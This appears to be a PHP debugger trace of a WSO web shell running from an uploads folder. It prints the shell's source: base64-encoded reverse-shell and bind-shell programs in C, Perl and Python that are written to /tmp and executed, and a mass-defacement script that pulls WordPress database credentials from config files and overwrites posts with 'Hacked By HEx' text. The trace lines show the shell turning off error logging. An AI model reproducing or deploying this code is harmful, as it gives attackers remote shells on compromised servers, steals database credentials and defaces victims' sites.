height=\'450\'></iframe></a></div>";\r\n\t\r\n\thardFooter();\r\n}\r\n\r\n// Mass Deface Section END\r\n\r\n// Back COnnect SEction\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";\r\n\t$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";\r\n\t$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";\r\n\t$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";\r\n\t$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";\r\n\techo "<center><h1>Network tools</h1><div class=content>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>\r\n\t</form><br>\r\n\t<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>\r\n\t</form><br>"; \r\n\tif(isset($_POST[\'p1\'])) {\r\n\t\tfunction cf($f,$t) {\r\n\t\t\t$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');\r\n\t\t\tif($w)\t{\r\n\t\t\t\t@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));\r\n\t\t\t\t@fclose($w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpc\') {\r\n\t\t\tcf("/tmp/bp.c",$bind_port_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");\r\n\t\t\t@unlink("/tmp/bp.c");\r\n\t\t\t$▖ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bpp\') {\r\n\t\t\tcf("/tmp/bp.pl",$bind_port_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END \r\nfunction actionMassuser() {\r\n\thardHeader();\r\n\techo "<center><h1>Mass Title Edit</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "title.php";\r\n\t$mass_script = "PD9wSHAKZWNobyI8aHRtbD4KPGhlYWQ+CjxzdHlsZT4KaHRtbCB7Cgpjb2xvcjogd2hpdGU7Cn0KaW5wdXRbdHlwZT10ZXh0XSxpbnB1dFt0eXBlPXN1Ym1pdF0gewpiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCmNvbG9yOndoaXRlOwptYXJnaW46MCAxMHB4Owpmb250LWZhbWlseTpIb21lbmFqZTsKZm9udC1zaXplOjEzcHg7CmJvcmRlcjoycHggc29saWQgIzJkMmIyYjsKfQp0ZXh0YXJlYXsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKYm9yZGVyOiAxcHggc29saWQgIzJkMmIyYjsKd2lkdGg6IDEwMCU7CmhlaWdodDogNDAwcHg7CnBhZGRpbmctbGVmdDogNXB4OwptYXJnaW46IDEwcHggYXV0bzsKZm9udC1mYW1pbHk6SG9tZW5hamU7CmNvbG9yOiAjZmZmZmZmOwpmb250LXNpemU6MTNweDsKfQo8L3N0eWxlPiI7CgplcnJvcl9yZXBvcnRpbmcoMCk7CnNldF90aW1lX2xpbWl0KDApOwpAY2xlYXJzdGF0Y2FjaGUoKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CmlmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSl7CiAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZnVuY3Rpb24gR3JhYlVybCgkdXJsLCR0eXBlKXsKCiAgICAgICAgJHVybEFycmF5ID0gYXJyYXkoKTsKCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CgogICAgICAgICRyZWdleD0nfDxhLio/aHJlZj0iKC4qPykifCc7CiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHJlZ2V4LCRyZXN1bHQsJHBhcnRzKTsKICAgICAgICAkbGlua3M9JHBhcnRzWzFdOwogICAgICAgIGZvcmVhY2goJGxpbmtzIGFzICRsaW5rKXsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXJsQXJyYXksICRsaW5rKTsKICAgICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwoKICAgICAgICBmb3JlYWNoKCR1cmxBcnJheSBhcyAkdmFsdWUpewogICAgICAgICAgICAkbG9sPSIkdXJsJHZhbHVlIjsKCQkJaWYocHJlZ19tYXRjaCgiIyR0eXBlI2lzIiwgJGxvbCkpIHsKCQkJCWVjaG8gIiRsb2xcclxuIjsKCQkJfQogICAgICAgIH0KfQpmdW5jdGlvbiBhbWJpbEthdGEoJHBhcmFtLCAka2F0YTEsICRrYXRhMil7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgaWYoc3RycG9zKCRwYXJhbSwgJGthdGEyKSA9PT0gRkFMU0UpIHJldHVybiBGQUxTRTsKICAgICRzdGFydCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMSkgKyBzdHJsZW4oJGthdGExKTsKICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7CiAgICAkcmV0dXJuID0gc3Vic3RyKCRwYXJhbSwgJHN0YXJ0LCAkZW5kIC0gJHN0YXJ0KTsKICAgIHJldHVybiAkcmV0dXJuOwp9CmVjaG8gIjxjZW50ZXI+Cjxmb3JtIG1ldGhvZD0ncG9zdCc+CkxpbmsgQ29uZmlnOiA8YnI+CjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdsaW5rY29uZicgaGVpZ2h0PScxMCcgc2l6ZT0nNTAnIHBsYWNlaG9sZGVyPSdodHRwOi8vdXJsLmNvbS9wcHFfc3ltY29uZmlnLyc+PGJyPgo8aW5wdXQgdHlwZT0nc3VibWl0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgbmFtZT0nZ2FzcycgdmFsdWU9J1N1Ym1pdCEhJz4KPC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnZ2FzcyddKSB7CgllY2hvICI8Y2VudGVyPgo8Zm9ybSBtZXRob2Q9J3Bvc3QnPgpMaW5rIENvbmZpZzogPGJyPgo8dGV4dGFyZWEgbmFtZT0nbGluayc+IjsKR3JhYlVybCgkX1BPU1RbJ2xpbmtjb25mJ10sJ3dvcmRwcmVzcycpOwkKZWNobyI8L3RleHRhcmVhPgoKCTxicj48ZGl2IGRhdGEtcm9sZSA9ICdmaWVsZGNvbnRhaW4nIGNsYXNzID0gJ3VpLWhpZGUtbGFiZWwnIHN0eWxlPSdmbG9hdDpsZWZ0Jz4KICAgICAgICAgICAgPGxhYmVsIGZvcj0nbmFtZSc+SUQ6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lJyBpZD0naWQnIHZhbHVlPScxJy8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gVElUTEU6IDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aXRsZScgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgQnkgSEV4JyAvPgogICAgICAgIDwvZGl2PgoJCSAgICAgICAgPGRpdiBkYXRhLXJvbGUgPSdmaWVsZGNvbnRhaW4nIGNsYXNzPSAndWktaGlkZS1sYWJlbCcgc3R5bGU9J2Zsb2F0OmxlZnQnPgogICAgICAgICAgICA8bGFiZWwgZm9yPSdzdXJuYW1lJz4gUE9TVCBDT05URU5UOiA8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY29udGVudCcgaWQ9J3N1cm5hbWUnIHZhbHVlPSdIYWNrZWQgYnkgSEV4IHwgV2UgQXJlIFBha2lzdGFuaSBIYWNrZXJzIC0sLSBGdWNrIFlvdSBBZG1pbicgLz4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGRhdGEtcm9sZSA9J2ZpZWxkY29udGFpbicgY2xhc3M9ICd1aS1oaWRlLWxhYmVsJyBzdHlsZT0nZmxvYXQ6bGVmdCc+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9J3N1cm5hbWUnPiBQT1NUTkFNRTogPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bvc3RuYW1lJyBpZD0nc3VybmFtZScgdmFsdWU9J0hhY2tlZCBieSBIRXgnIC8+CiAgICAgICAgPC9kaXY+IDxicj4KCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBuYW1lPSdlZGl0dGl0bGUnIHZhbHVlPSdTdWJtaXQhISc+CjwvZm9ybT48L2NlbnRlcj4iOwp9CmlmKCRfUE9TVFsnZWRpdHRpdGxlJ10pIHsKCSAgICAgICAgJHRpdGxlID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3RpdGxlJ10pOwogICAgICAgICAgICAgICAgJGlkID0gJF9QT1NUWydpZCddOwogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2NvbnRlbnQnXTsKICAgICAgICAgICAgICAgICRwb3N0bmFtZSA9ICRfUE9TVFsnbmFtZSddOwoJCWZ1bmN0aW9uIGFudWN1cmwoJHNpdGVzKSB7CiAgICAJCSRjaCA9IGN1cmxfaW5pdCgkc2l0ZXMpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBydjozMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzMyLjAiKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCA1KTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKCSAgICAgICAJCSAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwnY29va2llLnR4dCcpOwoJICAgICAgIAkJICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFU0VTU0lPTix0cnVlKTsKCQkJJGRhdGEgPSBjdXJsX2V4ZWMoJGNoKTsKCQkJCSAgY3VybF9jbG9zZSgkY2gpOwoJCQlyZXR1cm4gJGRhdGE7CgkJfQoJCSRsaW5rID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsnbGluayddKTsKCQlmb3JlYWNoKCRsaW5rIGFzICRkaXJfY29uZmlnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbmZpZyA9IGFudWN1cmwoJGRpcl9jb25maWcpOwoJCQkJJGRiaG9zdCA9IGFtYmlsa2F0YSgkY29uZmlnLCJEQl9IT1NUJywgJyIsIiciKTsKCQkJCSRkYnVzZXIgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfVVNFUicsICciLCInIik7CgkJCQkkZGJwYXNzID0gYW1iaWxrYXRhKCRjb25maWcsIkRCX1BBU1NXT1JEJywgJyIsIiciKTsKCQkJCSRkYm5hbWUgPSBhbWJpbGthdGEoJGNvbmZpZywiREJfTkFNRScsICciLCInIik7CgkJCQkkZGJwcmVmaXggPSBhbWJpbGthdGEoJGNvbmZpZywidGFibGVfcHJlZml4ICA9ICciLCInIik7CgkJCQkkcHJlZml4ID0gJGRicHJlZml4LiJwb3N0cyI7CgkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsKCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7CgkJCQkkZGIgPSBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSk7CgkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgSUQgQVNDIik7CgkJCQkkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEpOwoJCQkJJGlkID0gJHJlc3VsdFtJRF07CgkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsKCQkJCSRyZXN1bHQyID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHEyKTsKCQkJCSR0YXJnZXQgPSAkcmVzdWx0MltvcHRpb25fdmFsdWVdOwoJCQkJJHVwZGF0ZSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgJHByZWZpeCBTRVQgcG9zdF90aXRsZT0nJHRpdGxlJyxwb3N0X2NvbnRlbnQ9JyRjb250ZW50Jyxwb3N0X25hbWU9JyRwb3N0bmFtZScscG9zdF9zdGF0dXM9J3B1Ymxpc2gnLGNvbW1lbnRfc3RhdHVzPSdvcGVuJyxwaW5nX3N0YXR1cz0nb3BlbicscG9zdF90eXBlPSdwb3N0Jyxjb21tZW50X2NvdW50PScxJyBXSEVSRSBpZD0nJGlkJyIpOwoJCQkJJHVwZGF0ZSAuPSBteXNxbF9xdWVyeSgiVVBEQVRFICRvcHRpb24gU0VUIG9wdGlvbl92YWx1ZT0nJHRpdGxlJyBXSEVSRSBvcHRpb25fbmFtZT0nYmxvZ25hbWUnIE9SIG9wdGlvbl9uYW1lPSdibG9nZGVzY3JpcHRpb24nIik7CgkJCQllY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyc+IjsKCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsKCQkJCQllY2hvICJVUkw6IDxmb250IGNvbG9yPXdoaXRlPkVycm9yLCBJIGNhbid0IHRha2UgdGhlIGRvbWFpbiBuYW1lPC9mb250PiAtPiAiOwoJCQkJfSBlbHNlIHsKCQkJCQllY2hvICJVUkw6IDxhIGhyZWY9JyR0YXJnZXQvP3A9JGlkJyB0YXJnZXQ9J19ibGFuayc+JHRhcmdldC8/cD0kaWQ8L2E+IC0+ICI7CgkJCQl9CgkJCQlpZighJHVwZGF0ZSBPUiAhJGNvbm4gT1IgISRkYikgewoJCQkJCWVjaG8gIjxmb250IGNvbG9yPXdoaXRlPk15U1FMIEVycm9yOiAiLm15c3FsX2Vycm9yKCkuIjwvZm9udD48YnI+IjsKCQkJCX0gZWxzZSB7CgkJCQkJZWNobyAiPGZvbnQgY29sb3I9b3JhbmdlPkNoYW5nZWQgU3VjY2VlZC48L2ZvbnQ+PGJyPiI7CgkJCQl9CgkJCQllY2hvICI8L2Rpdj4iOwoJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOwoJCQl9CgkJfQo/Pgo=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center> <iframe src=\'hex_tools/title.php\' width=\'950\' height=\'600\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($▚) && function_exists(\'action\' . $▚))\r\n\t\t$_POST[\'a\'] = $▚;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>'	/var/www/html/uploads/wso.php	5	0
3	14	0	0.012645	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	2	2	'error_log'	NULL
3	14	1	0.012665	1247048
3	14	R			''
3	15	0	0.012680	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	3	2	'log_errors'	0
3	15	1	0.012696	1247048
3	15	R			'1'
3	16	0	0.012710	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	4	2	'max_execution_time'	0
3	16	1	0.012727	1247080
3	16	R			'30'
3	17	0	0.012740	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	5	2	'output_buffering'	0
3	17	1	0.012756	1247048
3	17	R			FALSE
3	18	0	0.012769	1246976	ini_set	0		/var/www/html/uploads/wso.php(5) : eval()'d code	6	2	'display_errors'	0
3	18	1	0.012784	1247048
3	18	R			''
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	7	$▘ = TRUE
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	8	$▜ = 'UTF-8'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	9	$▚ = 'FilesMan'
3	19	0	0.012832	1246976	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	10	1	'python-requests/2.25.1'
3	19	1	0.012848	1247072
3	19	R			'ecd862b3d0595af0a0b03f511e800938'
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	10	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
3	20	0	0.012878	1247040	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	11	1	'localhost'
3	20	1	0.012891	1247136
3	20	R			'421aa90e079fa326b6494f812ad13e79'
3	21	0	0.012908	1247040	md5	0		/var/www/html/uploads/wso.php(5) : eval()'d code	12	1	'localhost'
3	21	1	0.012921	1247136
3	21	R			'421aa90e079fa326b6494f812ad13e79'
3	22	0	0.012937	1247104	prototype	1		/var/www/html/uploads/wso.php(5) : eval()'d code	12	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	362	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
4	23	0	0.012969	1247480	setcookie	0		/var/www/html/uploads/wso.php(5) : eval()'d code	363	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
4	23	1	0.012988	1247680
4	23	R			TRUE
3	22	1	0.013002	1247616
2		A						/var/www/html/uploads/wso.php(5) : eval()'d code	16	_POST['charset'] = 'UTF-8'
